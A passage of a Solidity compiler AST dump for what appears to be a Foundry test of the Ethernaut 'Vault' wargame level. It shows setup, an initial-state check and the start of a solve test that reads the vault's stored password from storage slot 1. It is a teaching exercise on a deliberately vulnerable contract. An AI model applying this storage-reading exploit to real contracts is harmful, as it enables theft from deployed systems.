2"}],"id":64959,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"717:11:150","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":64961,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"717:14:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"684:47:150"},{"expression":{"id":64967,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":64963,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64951,"src":"742:5:150","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":64964,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64958,"src":"750:5:150","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":64966,"indexExpression":{"hexValue":"30","id":64965,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"756:1:150","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"750:8:150","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"742:16:150","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":64968,"nodeType":"ExpressionStatement","src":"742:16:150"},{"expression":{"arguments":[{"id":64972,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64951,"src":"777:5:150","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":64973,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"784:7:150","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":64969,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"768:2:150","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64971,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"771:5:150","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"768:8:150","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":64974,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"768:24:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64975,"nodeType":"ExpressionStatement","src":"768:24:150"},{"expression":{"id":64980,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":64976,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64953,"src":"803:6:150","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":64977,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64958,"src":"812:5:150","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":64979,"indexExpression":{"hexValue":"31","id":64978,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"818:1:150","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"812:8:150","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"803:17:150","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":64981,"nodeType":"ExpressionStatement","src":"803:17:150"},{"expression":{"arguments":[{"id":64985,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64953,"src":"839:6:150","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":64986,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"847:8:150","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":64982,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"830:2:150","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64984,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"833:5:150","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"830:8:150","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":64987,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"830:26:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64988,"nodeType":"ExpressionStatement","src":"830:26:150"},{"expression":{"arguments":[{"id":64992,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64951,"src":"881:5:150","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":64989,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"867:2:150","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64991,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"870:10:150","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"867:13:150","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":64993,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"867:20:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64994,"nodeType":"ExpressionStatement","src":"867:20:150"},{"expression":{"id":64999,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":64995,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64946,"src":"897:9:150","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":64997,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64951,"src":"936:5:150","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":64996,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"909:26:150","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":64998,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"909:33:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"897:45:150","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":65000,"nodeType":"ExpressionStatement","src":"897:45:150"},{"assignments":[65003],"declarations":[{"constant":false,"id":65003,"mutability":"mutable","name":"factory","nameLocation":"965:7:150","nodeType":"VariableDeclaration","scope":65054,"src":"952:20:150","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_VaultFactory_$55464","typeString":"contract VaultFactory"},"typeName":{"id":65002,"nodeType":"UserDefinedTypeName","pathNode":{"id":65001,"name":"VaultFactory","nameLocations":["952:12:150"],"nodeType":"IdentifierPath","referencedDeclaration":55464,"src":"952:12:150"},"referencedDeclaration":55464,"src":"952:12:150","typeDescriptions":{"typeIdentifier":"t_contract$_VaultFactory_$55464","typeString":"contract VaultFactory"}},"visibility":"internal"}],"id":65008,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":65006,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"975:16:150","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_VaultFactory_$55464_$","typeString":"function () returns (contract VaultFactory)"},"typeName":{"id":65005,"nodeType":"UserDefinedTypeName","pathNode":{"id":65004,"name":"VaultFactory","nameLocations":["979:12:150"],"nodeType":"IdentifierPath","referencedDeclaration":55464,"src":"979:12:150"},"referencedDeclaration":55464,"src":"979:12:150","typeDescriptions":{"typeIdentifier":"t_contract$_VaultFactory_$55464","typeString":"contract VaultFactory"}}},"id":65007,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"975:18:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_VaultFactory_$55464","typeString":"contract VaultFactory"}},"nodeType":"VariableDeclarationStatement","src":"952:41:150"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":65015,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65003,"src":"1041:7:150","typeDescriptions":{"typeIdentifier":"t_contract$_VaultFactory_$55464","typeString":"contract VaultFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_VaultFactory_$55464","typeString":"contract VaultFactory"}],"id":65014,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1033:7:150","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":65013,"name":"address","nodeType":"ElementaryTypeName","src":"1033:7:150","typeDescriptions":{}}},"id":65016,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1033:16:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":65012,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1027:5:150","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":65017,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1027:23:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":65009,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64946,"src":"1003:9:150","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":65011,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1013:13:150","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1003:23:150","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":65018,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1003:48:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65019,"nodeType":"ExpressionStatement","src":"1003:48:150"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":65020,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1061:2:150","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65022,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1064:9:150","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1061:12:150","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":65023,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1061:14:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65024,"nodeType":"ExpressionStatement","src":"1061:14:150"},{"expression":{"arguments":[{"id":65028,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64953,"src":"1100:6:150","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65025,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1086:2:150","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65027,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1089:10:150","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1086:13:150","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":65029,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1086:21:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65030,"nodeType":"ExpressionStatement","src":"1086:21:150"},{"expression":{"id":65047,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65031,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64949,"src":"1117:8:150","typeDescriptions":{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":65036,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64946,"src":"1162:9:150","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":65040,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65003,"src":"1187:7:150","typeDescriptions":{"typeIdentifier":"t_contract$_VaultFactory_$55464","typeString":"contract VaultFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_VaultFactory_$55464","typeString":"contract VaultFactory"}],"id":65039,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1179:7:150","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":65038,"name":"address","nodeType":"ElementaryTypeName","src":"1179:7:150","typeDescriptions":{}}},"id":65041,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1179:16:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":65037,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1173:5:150","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":65042,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1173:23:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"302e303031","id":65043,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1198:11:150","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"},"value":"0.001"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"}],"id":65035,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1142:19:150","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":65044,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1142:68:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":65034,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1134:8:150","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":65033,"name":"address","nodeType":"ElementaryTypeName","src":"1134:8:150","stateMutability":"payable","typeDescriptions":{}}},"id":65045,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1134:77:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":65032,"name":"Vault","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55405,"src":"1128:5:150","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Vault_$55405_$","typeString":"type(contract Vault)"}},"id":65046,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1128:84:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"}},"src":"1117:95:150","typeDescriptions":{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"}},"id":65048,"nodeType":"ExpressionStatement","src":"1117:95:150"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":65049,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1222:2:150","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65051,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1225:9:150","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1222:12:150","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":65052,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1222:14:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65053,"nodeType":"ExpressionStatement","src":"1222:14:150"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"659:5:150","parameters":{"id":64954,"nodeType":"ParameterList","parameters":[],"src":"664:2:150"},"returnParameters":{"id":64955,"nodeType":"ParameterList","parameters":[],"src":"674:0:150"},"scope":65121,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":65076,"nodeType":"FunctionDefinition","src":"1495:137:150","nodes":[],"body":{"id":65075,"nodeType":"Block","src":"1522:110:150","nodes":[],"statements":[{"expression":{"arguments":[{"id":65062,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64953,"src":"1546:6:150","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65059,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1532:2:150","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65061,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1535:10:150","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1532:13:150","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":65063,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1532:21:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65064,"nodeType":"ExpressionStatement","src":"1532:21:150"},{"expression":{"arguments":[{"arguments":[{"id":65067,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64946,"src":"1595:9:150","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":65070,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64949,"src":"1614:8:150","typeDescriptions":{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"}],"id":65069,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1606:7:150","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":65068,"name":"address","nodeType":"ElementaryTypeName","src":"1606:7:150","typeDescriptions":{}}},"id":65071,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1606:17:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":65066,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1575:19:150","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":65072,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1575:49:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":65065,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1563:11:150","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":65073,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1563:62:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65074,"nodeType":"ExpressionStatement","src":"1563:62:150"}]},"documentation":{"id":65056,"nodeType":"StructuredDocumentation","src":"1427:63:150","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1504:8:150","parameters":{"id":65057,"nodeType":"ParameterList","parameters":[],"src":"1512:2:150"},"returnParameters":{"id":65058,"nodeType":"ParameterList","parameters":[],"src":"1522:0:150"},"scope":65121,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":65120,"nodeType":"FunctionDefinition","src":"1687:250:150","nodes":[],"body":{"id":65119,"nodeType":"Block","src":"1715:222:150","nodes":[],"statements":[{"expression":{"arguments":[{"id":65083,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64953,"src":"1739:6:150","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65080,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1725:2:150","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65082,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1728:10:150","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1725:13:150","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":65084,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1725:21:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65085,"nodeType":"ExpressionStatement","src":"1725:21:150"},{"assignments":[65087],"declarations":[{"constant":false,"id":65087,"mutability":"mutable","name":"password","nameLocation":"1765:8:150","nodeType":"VariableDeclaration","scope":65119,"src":"1757:16:150","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":65086,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1757:7:150","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":65102,"initialValue":{"arguments":[{"arguments":[{"id":65092,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64949,"src":"1792:8:150","typeDescriptions":{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Vault_$55405","typeString":"contract Vault"}],"id":65091,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1784:7:150","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":65090,"name":"address","nodeType":"ElementaryTypeName","src":"1784:7:150","typeDescriptions":{}}},"id":65093,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1784:17:150","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"arguments":[{"hexValue":"31","id":65098,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1819:1:150","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 